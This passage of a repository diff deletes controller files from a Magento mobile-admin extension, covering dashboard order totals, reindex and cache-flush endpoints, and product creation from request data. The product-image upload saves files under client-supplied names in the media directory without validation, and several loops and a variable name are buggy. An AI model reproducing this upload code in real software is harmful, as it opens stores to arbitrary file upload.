//$averageOrder = strip_tags(Mage::helper('core')->currency(round(Mage::getResourceModel('reports/order_collection')->addFieldToFilter('store_id', $storeId)->calculateSales()->load()->getFirstItem()->getAverage(),2)));
|
| 1598 |
-
//$orderTotalResultArr = array('dashboard_result' =>array('ordertotalbydate' => $orderTotalByDate,'ordergrandtotal' => $orderGrandTotal,'totalordercount' => $total_count,'lifetimesales' => $lifeTimeSales,'averageorder' => $averageOrder));
|
| 1599 |
-
|
| 1600 |
-
|
| 1601 |
-
$tot = 0;
|
| 1602 |
-
$totTax = 0;
|
| 1603 |
-
$totShipping = 0;
|
| 1604 |
-
$totQty = 0;
|
| 1605 |
-
for($i=0; $i<=count($orderTotalByDateTotoal); $i++)
|
| 1606 |
-
{
|
| 1607 |
-
$tot = $tot + $orderTotalByDateTotoal[$i];
|
| 1608 |
-
}
|
| 1609 |
-
|
| 1610 |
-
for($j = 0; $j <= count($orderTotalByDateTax); $j++)
|
| 1611 |
-
{
|
| 1612 |
-
$totTax = $totTax + $orderTotalByDateTax[$j];
|
| 1613 |
-
}
|
| 1614 |
-
|
| 1615 |
-
for($k = 0; $k <= count($orderTotalByDateShipping); $k++)
|
| 1616 |
-
{
|
| 1617 |
-
$totShipping = $totShipping + $orderTotalByDateShipping[$k];
|
| 1618 |
-
}
|
| 1619 |
-
|
| 1620 |
-
for($l = 0; $l <= count($orderTotalByDateQty); $l++)
|
| 1621 |
-
{
|
| 1622 |
-
$totQty = $totQty + $orderTotalByDateQty[$l];
|
| 1623 |
-
}
|
| 1624 |
-
|
| 1625 |
-
//$orderTotalResultArr = array('dashboard_result' =>array('ordertotalbydate' => $orderTotalByDate));
|
| 1626 |
-
$orderTotalResultArr = array(
|
| 1627 |
-
'dashboard_result' => array(
|
| 1628 |
-
'ordertotalbydate' => $orderTotalByDate,
|
| 1629 |
-
'orderTotalAmount' => array(
|
| 1630 |
-
'Revenue' => Mage::helper('core')->currency($tot, true, false),
|
| 1631 |
-
'Tax' => Mage::helper('core')->currency($totTax, true, false),
|
| 1632 |
-
'Shipping' => Mage::helper('core')->currency($totShipping, true, false),
|
| 1633 |
-
'Quantity' => $totQty
|
| 1634 |
-
)
|
| 1635 |
-
),
|
| 1636 |
-
);
|
| 1637 |
-
|
| 1638 |
-
//echo "<pre>"; print_r($orderTotalResultArr); die;
|
| 1639 |
-
$orderDashboardResult = Mage::helper('core')->jsonEncode($orderTotalResultArr);
|
| 1640 |
-
return Mage::app()->getResponse()->setBody($orderDashboardResult);
|
| 1641 |
-
}
|
| 1642 |
-
else
|
| 1643 |
-
{
|
| 1644 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1645 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1646 |
-
}
|
| 1647 |
-
}
|
| 1648 |
-
|
| 1649 |
-
/*
|
| 1650 |
-
* @ get range between two dates
|
| 1651 |
-
* @param: $start_date,$end_date
|
| 1652 |
-
*/
|
| 1653 |
-
public function getDatesFromRange($start_date, $end_date)
|
| 1654 |
-
{
|
| 1655 |
-
$date_from = strtotime(date('Y-m-d', strtotime($start_date)));
|
| 1656 |
-
$date_to = strtotime(date('Y-m-d', strtotime($end_date)));
|
| 1657 |
-
|
| 1658 |
-
for($i=$date_from; $i<=$date_to; $i+=86400)
|
| 1659 |
-
{
|
| 1660 |
-
$dates[] = date("Y-m-d", $i);
|
| 1661 |
-
}
|
| 1662 |
-
return $dates;
|
| 1663 |
-
}
|
| 1664 |
-
|
| 1665 |
-
/*
|
| 1666 |
-
* @ get months
|
| 1667 |
-
* @param: $date1,$date2
|
| 1668 |
-
*/
|
| 1669 |
-
public function get_months($date1, $date2)
|
| 1670 |
-
{
|
| 1671 |
-
$time1 = strtotime($date1);
|
| 1672 |
-
$time2 = strtotime($date2);
|
| 1673 |
-
$my = date('mY', $time2);
|
| 1674 |
-
$months = array();
|
| 1675 |
-
$f = '';
|
| 1676 |
-
|
| 1677 |
-
while($time1 < $time2)
|
| 1678 |
-
{
|
| 1679 |
-
$time1 = strtotime((date('Y-m-d', $time1).' +15days'));
|
| 1680 |
-
|
| 1681 |
-
if(date('m', $time1) != $f)
|
| 1682 |
-
{
|
| 1683 |
-
$f = date('m', $time1);
|
| 1684 |
-
|
| 1685 |
-
if(date('mY', $time1) != $my && ($time1 < $time2))
|
| 1686 |
-
$months[] = date('m', $time1);
|
| 1687 |
-
}
|
| 1688 |
-
}
|
| 1689 |
-
|
| 1690 |
-
$months[] = date('m', $time2);
|
| 1691 |
-
return $months;
|
| 1692 |
-
}
|
| 1693 |
-
|
| 1694 |
-
/*
|
| 1695 |
-
* @ get last day
|
| 1696 |
-
* @param: $month,$year
|
| 1697 |
-
*/
|
| 1698 |
-
public function lastday($month = '', $year = '')
|
| 1699 |
-
{
|
| 1700 |
-
if(empty($month))
|
| 1701 |
-
{
|
| 1702 |
-
$month = date('m');
|
| 1703 |
-
}
|
| 1704 |
-
if(empty($year))
|
| 1705 |
-
{
|
| 1706 |
-
$year = date('Y');
|
| 1707 |
-
}
|
| 1708 |
-
$result = strtotime("{$year}-{$month}-01");
|
| 1709 |
-
$result = strtotime('-1 day', strtotime('+1 month', $result));
|
| 1710 |
-
return date('Y-m-d', $result);
|
| 1711 |
-
}
|
| 1712 |
-
|
| 1713 |
-
/*
|
| 1714 |
-
* @ get first day
|
| 1715 |
-
* @param: $month,$year
|
| 1716 |
-
*/
|
| 1717 |
-
public function firstDay($month = '', $year = '')
|
| 1718 |
-
{
|
| 1719 |
-
if(empty($month))
|
| 1720 |
-
{
|
| 1721 |
-
$month = date('m');
|
| 1722 |
-
}
|
| 1723 |
-
if(empty($year))
|
| 1724 |
-
{
|
| 1725 |
-
$year = date('Y');
|
| 1726 |
-
}
|
| 1727 |
-
$result = strtotime("{$year}-{$month}-01");
|
| 1728 |
-
return date('Y-m-d', $result);
|
| 1729 |
-
}
|
| 1730 |
-
|
| 1731 |
-
/*public function reIndexAction()
|
| 1732 |
-
{
|
| 1733 |
-
$collection = Mage::getResourceModel('index/process_collection');
|
| 1734 |
-
$re = Mage::getModel('index/process');
|
| 1735 |
-
echo "<pre>"; print_r($re->getCollection()->getData()); die;
|
| 1736 |
-
|
| 1737 |
-
|
| 1738 |
-
$data = Mage::app()->getRequest()->getParams();
|
| 1739 |
-
|
| 1740 |
-
$processId = $data['process'];
|
| 1741 |
-
//echo $processId['process']; die;
|
| 1742 |
-
$result = array();
|
| 1743 |
-
|
| 1744 |
-
$process = $this->_initProcess($processId);
|
| 1745 |
-
|
| 1746 |
-
echo $process->getIndexer()->getName();
|
| 1747 |
-
|
| 1748 |
-
echo "<pre>"; print_r($process->getData()); die;
|
| 1749 |
-
if ($process)
|
| 1750 |
-
{
|
| 1751 |
-
try {
|
| 1752 |
-
Varien_Profiler::start('__INDEX_PROCESS_REINDEX_ALL__');
|
| 1753 |
-
|
| 1754 |
-
$process->reindexEverything();
|
| 1755 |
-
Varien_Profiler::stop('__INDEX_PROCESS_REINDEX_ALL__');
|
| 1756 |
-
|
| 1757 |
-
$result['status'] = "index was rebuilt.".$process->getIndexer()->getName();
|
| 1758 |
-
} catch (Mage_Core_Exception $e) {
|
| 1759 |
-
|
| 1760 |
-
$result['error'] = $e->getMessage();
|
| 1761 |
-
} catch (Exception $e) {
|
| 1762 |
-
|
| 1763 |
-
$result['error'] = "There was a problem with reindexing process.";
|
| 1764 |
-
}
|
| 1765 |
-
} else {
|
| 1766 |
-
|
| 1767 |
-
$result['error'] = "Cannot initialize the indexer process.";
|
| 1768 |
-
}
|
| 1769 |
-
|
| 1770 |
-
echo "<pre>"; print_r($result);
|
| 1771 |
-
}
|
| 1772 |
-
|
| 1773 |
-
protected function _initProcess($processId)
|
| 1774 |
-
{
|
| 1775 |
-
//$processId = Mage::app()->getRequest()->getParams('process');
|
| 1776 |
-
if($processId)
|
| 1777 |
-
{
|
| 1778 |
-
$process = Mage::getModel('index/process')->load($processId);
|
| 1779 |
-
if($process->getId() && $process->getIndexer()->isVisible())
|
| 1780 |
-
{
|
| 1781 |
-
return $process;
|
| 1782 |
-
}
|
| 1783 |
-
}
|
| 1784 |
-
return false;
|
| 1785 |
-
}*/
|
| 1786 |
-
|
| 1787 |
-
/**
|
| 1788 |
-
* Reindex all using command
|
| 1789 |
-
*/
|
| 1790 |
-
public function reindexAllAction()
|
| 1791 |
-
{
|
| 1792 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1793 |
-
{
|
| 1794 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 1795 |
-
$sessionId = $post_data['session']; // session id
|
| 1796 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if logged in return true otherwise access denied
|
| 1797 |
-
{
|
| 1798 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1799 |
-
return false;
|
| 1800 |
-
}
|
| 1801 |
-
try
|
| 1802 |
-
{
|
| 1803 |
-
$result = array();
|
| 1804 |
-
$mage_base = Mage::getBaseDir();
|
| 1805 |
-
//echo $mage_base; die;
|
| 1806 |
-
system("php ". $mage_base ."/shell/indexer.php reindexall > ".$mage_base."/var/log/reindexall.log &");
|
| 1807 |
-
$result['success'] = "reindexall via SHELL processing !";
|
| 1808 |
-
}
|
| 1809 |
-
catch(Exception $e)
|
| 1810 |
-
{
|
| 1811 |
-
$result['error'] = $e->getMessage();
|
| 1812 |
-
}
|
| 1813 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 1814 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1815 |
-
}
|
| 1816 |
-
else
|
| 1817 |
-
{
|
| 1818 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1819 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1820 |
-
}
|
| 1821 |
-
}
|
| 1822 |
-
|
| 1823 |
-
/**
|
| 1824 |
-
* Flush cache storage
|
| 1825 |
-
*/
|
| 1826 |
-
public function flushAllAction()
|
| 1827 |
-
{
|
| 1828 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1829 |
-
{
|
| 1830 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 1831 |
-
$sessionId = $post_data['session']; // session id
|
| 1832 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if logged in return true otherwise access denied
|
| 1833 |
-
{
|
| 1834 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1835 |
-
return false;
|
| 1836 |
-
}
|
| 1837 |
-
try
|
| 1838 |
-
{
|
| 1839 |
-
$result = array();
|
| 1840 |
-
Mage::app()->getCacheInstance()->flush();
|
| 1841 |
-
$result['success'] = "The cache storage has been flushed.";
|
| 1842 |
-
}
|
| 1843 |
-
catch (Exception $e)
|
| 1844 |
-
{
|
| 1845 |
-
$result['error'] = $e->getMessage();
|
| 1846 |
-
}
|
| 1847 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 1848 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1849 |
-
}
|
| 1850 |
-
else
|
| 1851 |
-
{
|
| 1852 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1853 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1854 |
-
}
|
| 1855 |
-
}
|
| 1856 |
-
|
| 1857 |
-
/**
|
| 1858 |
-
* Flush all magento cache
|
| 1859 |
-
*/
|
| 1860 |
-
public function flushSystemAction()
|
| 1861 |
-
{
|
| 1862 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1863 |
-
{
|
| 1864 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 1865 |
-
$sessionId = $post_data['session']; // session id
|
| 1866 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if logged in return true otherwise access denied
|
| 1867 |
-
{
|
| 1868 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1869 |
-
return false;
|
| 1870 |
-
}
|
| 1871 |
-
try
|
| 1872 |
-
{
|
| 1873 |
-
$result = array();
|
| 1874 |
-
Mage::app()->cleanCache();
|
| 1875 |
-
$result['success'] = "The Magento cache storage has been flushed.";
|
| 1876 |
-
}
|
| 1877 |
-
catch(Exception $e)
|
| 1878 |
-
{
|
| 1879 |
-
$result['error'] = $e->getMessage();
|
| 1880 |
-
}
|
| 1881 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 1882 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1883 |
-
}
|
| 1884 |
-
else
|
| 1885 |
-
{
|
| 1886 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1887 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 1888 |
-
}
|
| 1889 |
-
}
|
| 1890 |
-
|
| 1891 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/controllers/ProductsController.php
DELETED
|
@@ -1,352 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_ProductsController extends Mage_Core_Controller_Front_Action{
|
| 3 |
-
|
| 4 |
-
/*
|
| 5 |
-
@ This function perform to dynamic data before product add
|
| 6 |
-
*/
|
| 7 |
-
public function beforeAddProductAction()
|
| 8 |
-
{
|
| 9 |
-
$options = array();
|
| 10 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 11 |
-
|
| 12 |
-
$collectionAttributeSet = Mage::getResourceModel('eav/entity_attribute_set_collection')
|
| 13 |
-
->setEntityTypeFilter(4);
|
| 14 |
-
|
| 15 |
-
$collectionProductType = Mage::getModel('catalog/product_type')->getOptionArray();
|
| 16 |
-
|
| 17 |
-
$options['attributeSetList'] = $collectionAttributeSet->toOptionArray();
|
| 18 |
-
|
| 19 |
-
$visibility = Mage::getModel('catalog/product_visibility')->getOptionArray();
|
| 20 |
-
|
| 21 |
-
// Countries of manufature list
|
| 22 |
-
$options['countriesList'] = Mage::getModel('directory/country')->getResourceCollection()->toOptionArray(false);
|
| 23 |
-
|
| 24 |
-
// Define a products type which type product you want to create.
|
| 25 |
-
$valArr = array();
|
| 26 |
-
foreach ($collectionProductType as $key => $value)
|
| 27 |
-
{
|
| 28 |
-
$valArr['value'] = $key;
|
| 29 |
-
$valArr['label'] = $value;
|
| 30 |
-
$options['productTypeList'][] = $valArr;
|
| 31 |
-
}
|
| 32 |
-
|
| 33 |
-
// All visibility data to show the add product field
|
| 34 |
-
$valArr1 = array();
|
| 35 |
-
foreach ($visibility as $key1 => $value1)
|
| 36 |
-
{
|
| 37 |
-
$valArr1['value'] = $key1;
|
| 38 |
-
$valArr1['label'] = $value1;
|
| 39 |
-
$options['visibility_list'][] = $valArr1;
|
| 40 |
-
}
|
| 41 |
-
|
| 42 |
-
// Load all website which you made in the magento admin
|
| 43 |
-
$website = array();
|
| 44 |
-
foreach (Mage::app()->getWebsites() as $_website)
|
| 45 |
-
{
|
| 46 |
-
$website['website_name'] = $_website->getName();
|
| 47 |
-
$website['website_id'] = $_website->getId();
|
| 48 |
-
$options['websiteList'][] = $website;
|
| 49 |
-
}
|
| 50 |
-
|
| 51 |
-
// Tax classes list for product
|
| 52 |
-
$TaxArr = array();
|
| 53 |
-
$collection = Mage::getModel('tax/class')->getCollection()->setClassTypeFilter('PRODUCT');
|
| 54 |
-
|
| 55 |
-
$TaxArr['tax_class_name'] = "none";
|
| 56 |
-
$TaxArr['tax_class_id'] = 0;
|
| 57 |
-
$options['taxClassesList'][] = $TaxArr;
|
| 58 |
-
foreach ($collection as $value)
|
| 59 |
-
{
|
| 60 |
-
$TaxArr['tax_class_name'] = $value->getClassName();
|
| 61 |
-
$TaxArr['tax_class_id'] = $value->getClassId();
|
| 62 |
-
$options['taxClassesList'][] = $TaxArr;
|
| 63 |
-
}
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
// custom categories
|
| 67 |
-
if(isset($post_data['parent_id']) || isset($post_data['catLabel']) || isset($post_data['store']))
|
| 68 |
-
{
|
| 69 |
-
$parentId = $post_data['parent_id'];
|
| 70 |
-
$catLabel = $post_data['catLabel'];
|
| 71 |
-
$storeId = $post_data['store'];
|
| 72 |
-
}
|
| 73 |
-
$options['categoriesList'] = $this->customCategoriesAction($parentId, $catLabel, $storeId);
|
| 74 |
-
|
| 75 |
-
$isEnable = Mage::helper('core')->jsonEncode($options);
|
| 76 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 77 |
-
}
|
| 78 |
-
|
| 79 |
-
public function createSimpleProductAction()
|
| 80 |
-
{
|
| 81 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 82 |
-
$product = $this->_createProduct($post_data);
|
| 83 |
-
return $product;
|
| 84 |
-
}
|
| 85 |
-
|
| 86 |
-
protected function _createProduct($data, $doSave=true)
|
| 87 |
-
{
|
| 88 |
-
$$result_su = array();
|
| 89 |
-
if(count($data) > 0)
|
| 90 |
-
{
|
| 91 |
-
$product_attribute_type = $data['attribute_type'];
|
| 92 |
-
$product_type = $data['type'];
|
| 93 |
-
|
| 94 |
-
// General Tab
|
| 95 |
-
$product_name = $data['name'];
|
| 96 |
-
$product_description = $data['description'];
|
| 97 |
-
$product_short_description = $data['short_description'];
|
| 98 |
-
$product_sku = $data['sku'];
|
| 99 |
-
$product_weight = $data['weight'];
|
| 100 |
-
$product_new_from_date = $data['new_from_date'];
|
| 101 |
-
$product_new_to_Date = $data['new_to_date'];
|
| 102 |
-
$product_status = $data['status'];
|
| 103 |
-
$product_url_key = $data['url_key'];
|
| 104 |
-
$product_visibility = $data['visibility'];
|
| 105 |
-
$product_manufacture = $data['manufacture'];
|
| 106 |
-
|
| 107 |
-
// Prices Tab
|
| 108 |
-
$product_price = $data['price'];
|
| 109 |
-
$product_special_price = $data['special_price'];
|
| 110 |
-
$product_special_price_from = $data['special_price_from'];
|
| 111 |
-
$product_special_price_to = $data['special_price_to'];
|
| 112 |
-
$product_tax_class = $data['tax_class'];
|
| 113 |
-
|
| 114 |
-
// Meta Information Tab
|
| 115 |
-
$product_meta_title = $data['meta_title'];
|
| 116 |
-
$product_meta_keywords = $data['meta_keywords'];
|
| 117 |
-
$product_meta_description = $data['meta_description'];
|
| 118 |
-
|
| 119 |
-
// Images Tab
|
| 120 |
-
//$product_images = $data['product_images'];
|
| 121 |
-
|
| 122 |
-
// Inventory
|
| 123 |
-
$product_qty = $data['qty'];
|
| 124 |
-
//$product_stock_availability = $data['stock_availability'];
|
| 125 |
-
$product_manage_stock = $data['manage_stock'];
|
| 126 |
-
$product_is_in_stock = $data['is_in_stock'];
|
| 127 |
-
|
| 128 |
-
// Websites
|
| 129 |
-
$product_websites = $data['websites'];
|
| 130 |
-
//$product_websites_commas_value = implode(',', $product_websites);
|
| 131 |
-
|
| 132 |
-
// Categories
|
| 133 |
-
$product_categories = $data['categories'];
|
| 134 |
-
//$product_categories_commas_value = implode(',', $product_categories);
|
| 135 |
-
|
| 136 |
-
}
|
| 137 |
-
else
|
| 138 |
-
{
|
| 139 |
-
Mage::log("No data specified", null, "ios_admin.log");
|
| 140 |
-
$result_su['error'] = array('No data specified.');
|
| 141 |
-
}
|
| 142 |
-
|
| 143 |
-
// required for some versions
|
| 144 |
-
Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
|
| 145 |
-
|
| 146 |
-
$product = Mage::getModel('catalog/product');
|
| 147 |
-
|
| 148 |
-
$product
|
| 149 |
-
->setTypeId($product_type) // e.g. Mage_Catalog_Model_Product_Type::TYPE_SIMPLE
|
| 150 |
-
->setAttributeSetId($product_attribute_type) // default attribute set
|
| 151 |
-
->setSku($product_sku) // generate some random SKU
|
| 152 |
-
->setWebsiteIDs($product_websites)
|
| 153 |
-
;
|
| 154 |
-
|
| 155 |
-
// make the product visible
|
| 156 |
-
$product
|
| 157 |
-
->setCategoryIds($product_categories)
|
| 158 |
-
->setStatus($product_status)
|
| 159 |
-
->setUrlKey($product_url_key)
|
| 160 |
-
->setVisibility($product_visibility) // visible in catalog and search
|
| 161 |
-
->setCountryOfManufacture($product_manufacture)
|
| 162 |
-
;
|
| 163 |
-
|
| 164 |
-
// configure stock
|
| 165 |
-
if(isset($product_manage_stock))
|
| 166 |
-
{
|
| 167 |
-
$check_manage_stock = $product_manage_stock;
|
| 168 |
-
}
|
| 169 |
-
else
|
| 170 |
-
{
|
| 171 |
-
$check_manage_stock = 0;
|
| 172 |
-
}
|
| 173 |
-
$product->setStockData(array(
|
| 174 |
-
'use_config_manage_stock' => 1, // use global config ?
|
| 175 |
-
'manage_stock' => $check_manage_stock, // shoudl we manage stock or not?
|
| 176 |
-
'is_in_stock' => $product_is_in_stock,
|
| 177 |
-
'qty' => $product_qty,
|
| 178 |
-
));
|
| 179 |
-
|
| 180 |
-
// optimize performance, tell Magento to not update indexes
|
| 181 |
-
$product
|
| 182 |
-
->setIsMassupdate(true)
|
| 183 |
-
->setExcludeUrlRewrite(true)
|
| 184 |
-
;
|
| 185 |
-
|
| 186 |
-
// Set Meta Information
|
| 187 |
-
$product
|
| 188 |
-
->setMetaTitle($product_meta_title)
|
| 189 |
-
->setMetaKeyword($product_meta_keywords)
|
| 190 |
-
->setMetaDescription($product_meta_description)
|
| 191 |
-
;
|
| 192 |
-
|
| 193 |
-
// finally set custom data
|
| 194 |
-
$product
|
| 195 |
-
->setName($product_name) // add string attribute
|
| 196 |
-
->setDescription($product_description) // add text attribute
|
| 197 |
-
->setShortDescription($product_short_description) // add text attribute
|
| 198 |
-
|
| 199 |
-
// set up prices
|
| 200 |
-
->setPrice($product_price)
|
| 201 |
-
->setSpecialPrice($product_special_price)
|
| 202 |
-
->setSpecialFromDate($product_special_price_from) //special price from (MM-DD-YYYY)
|
| 203 |
-
->setSpecialToDate($product_special_price_to) //special price to (MM-DD-YYYY)
|
| 204 |
-
->setTaxClassId($product_tax_class) // Taxable Goods by default
|
| 205 |
-
->setWeight($product_weight)
|
| 206 |
-
->setNewsFromDate($product_new_from_date)
|
| 207 |
-
->setNewsToDate($product_new_to_Date)
|
| 208 |
-
;
|
| 209 |
-
|
| 210 |
-
// add dropdown attributes like brand, color or size
|
| 211 |
-
if(isset($data['color']))
|
| 212 |
-
{
|
| 213 |
-
$optionId = $this->_getOptionIDByCode('color', 'Black');
|
| 214 |
-
$product->setColor($optionId);
|
| 215 |
-
}
|
| 216 |
-
|
| 217 |
-
if(isset($data['size']))
|
| 218 |
-
{
|
| 219 |
-
$optionId = $this->_getOptionIDByCode('size', 'M');
|
| 220 |
-
$product->setSize($optionId);
|
| 221 |
-
}
|
| 222 |
-
|
| 223 |
-
// add product images
|
| 224 |
-
if(count($_FILES) > 0)
|
| 225 |
-
{
|
| 226 |
-
$countFiles = count($_FILES);
|
| 227 |
-
|
| 228 |
-
$check_dir = Mage::getBaseDir('media') . DS . 'mobileadmin'. DS . 'product';
|
| 229 |
-
if(!is_dir($check_dir))
|
| 230 |
-
{
|
| 231 |
-
$io = new Varien_Io_File();
|
| 232 |
-
$io->checkAndCreateFolder($check_dir);
|
| 233 |
-
}
|
| 234 |
-
|
| 235 |
-
for ($i = 0; $i < $countFiles; $i++)
|
| 236 |
-
{
|
| 237 |
-
$imageFileName = $_FILES['product_images_'.$i]['name'];
|
| 238 |
-
$dir = Mage::getBaseDir('media') . DS . 'mobileadmin/product/';
|
| 239 |
-
$path = $dir.$imageFileName;
|
| 240 |
-
if (move_uploaded_file($_FILES["product_images_".$i]["tmp_name"], $path))
|
| 241 |
-
{
|
| 242 |
-
Mage::log("Product Images Uploaded.", null, "ios_admin.log");
|
| 243 |
-
}
|
| 244 |
-
else
|
| 245 |
-
{
|
| 246 |
-
Mage::log("Can not upload image.", null, "ios_admin.log");
|
| 247 |
-
$result_su['error'] = array('Can not upload image.');
|
| 248 |
-
}
|
| 249 |
-
|
| 250 |
-
try
|
| 251 |
-
{
|
| 252 |
-
$product->addImageToMediaGallery($path, array('image','small_image','thumbnail'), true, false);
|
| 253 |
-
}
|
| 254 |
-
catch (Exception $e)
|
| 255 |
-
{
|
| 256 |
-
Mage::log($e->getMessage(), null, "ios_admin.log");
|
| 257 |
-
return $e->getMessage();
|
| 258 |
-
}
|
| 259 |
-
|
| 260 |
-
}
|
| 261 |
-
|
| 262 |
-
}
|
| 263 |
-
Mage::log($data, null, "cart_android.log");
|
| 264 |
-
// die('die');
|
| 265 |
-
if ($doSave)
|
| 266 |
-
$product->save();
|
| 267 |
-
|
| 268 |
-
$result_su['success'] = array('Product saved successfully.');
|
| 269 |
-
$isEnable = Mage::helper('core')->jsonEncode($result_su);
|
| 270 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 271 |
-
}
|
| 272 |
-
|
| 273 |
-
protected function _getOptionIDByCode($attrCode, $optionLabel)
|
| 274 |
-
{
|
| 275 |
-
$attrModel = Mage::getModel('eav/entity_attribute');
|
| 276 |
-
|
| 277 |
-
$attrID = $attrModel->getIdByCode('catalog_product', $attrCode);
|
| 278 |
-
$attribute = $attrModel->load($attrID);
|
| 279 |
-
|
| 280 |
-
$options = Mage::getModel('eav/entity_attribute_source_table')
|
| 281 |
-
->setAttribute($attribute)
|
| 282 |
-
->getAllOptions(false);
|
| 283 |
-
|
| 284 |
-
foreach ($options as $option)
|
| 285 |
-
{
|
| 286 |
-
if ($option['label'] == $optionLabel)
|
| 287 |
-
{
|
| 288 |
-
return $option['value'];
|
| 289 |
-
}
|
| 290 |
-
}
|
| 291 |
-
|
| 292 |
-
return false;
|
| 293 |
-
}
|
| 294 |
-
|
| 295 |
-
public function customCategoriesAction($parentId = null, $catLevel = null, $store = null)
|
| 296 |
-
{
|
| 297 |
-
if (is_null($parentId) && !is_null($store))
|
| 298 |
-
{
|
| 299 |
-
$parent = Mage::app()->getStore($store)->getRootCategoryId();
|
| 300 |
-
}
|
| 301 |
-
elseif(is_null($parentId))
|
| 302 |
-
{
|
| 303 |
-
$parent = 1;
|
| 304 |
-
}
|
| 305 |
-
|
| 306 |
-
if(is_null($catLevel))
|
| 307 |
-
{
|
| 308 |
-
$catLevel = 5;
|
| 309 |
-
}
|
| 310 |
-
|
| 311 |
-
$tree = Mage::getResourceModel('catalog/category_tree');
|
| 312 |
-
|
| 313 |
-
$nodes = $tree->loadNode($parent)
|
| 314 |
-
->loadChildren($catLevel)
|
| 315 |
-
->getChildren();
|
| 316 |
-
|
| 317 |
-
$tree->addCollectionData(null, false, $parent);
|
| 318 |
-
$json = array('success' => true);
|
| 319 |
-
$result = array();
|
| 320 |
-
foreach ($nodes as $node)
|
| 321 |
-
{
|
| 322 |
-
$result[] = array(
|
| 323 |
-
'category_id' => $node->getData('entity_id'),
|
| 324 |
-
'parent_id' => $parent,
|
| 325 |
-
'name' => $node->getName(),
|
| 326 |
-
'product_count' => Mage::getModel('catalog/category')->load($node->getData('entity_id'))->getProductCount(),
|
| 327 |
-
'categories' => $this->getNodeChildrenData($node)
|
| 328 |
-
);
|
| 329 |
-
}
|
| 330 |
-
|
| 331 |
-
return $result;
|
| 332 |
-
|
| 333 |
-
//echo "<pre>"; print_r($json['categories']); die;
|
| 334 |
-
//return json_encode($json);
|
| 335 |
-
}
|
| 336 |
-
|
| 337 |
-
protected function getNodeChildrenData(Varien_Data_Tree_Node $node)
|
| 338 |
-
{
|
| 339 |
-
foreach ($node->getChildren() as $childNode)
|
| 340 |
-
{
|
| 341 |
-
$result[] = array(
|
| 342 |
-
'category_id' => $childNode->getData('entity_id'),
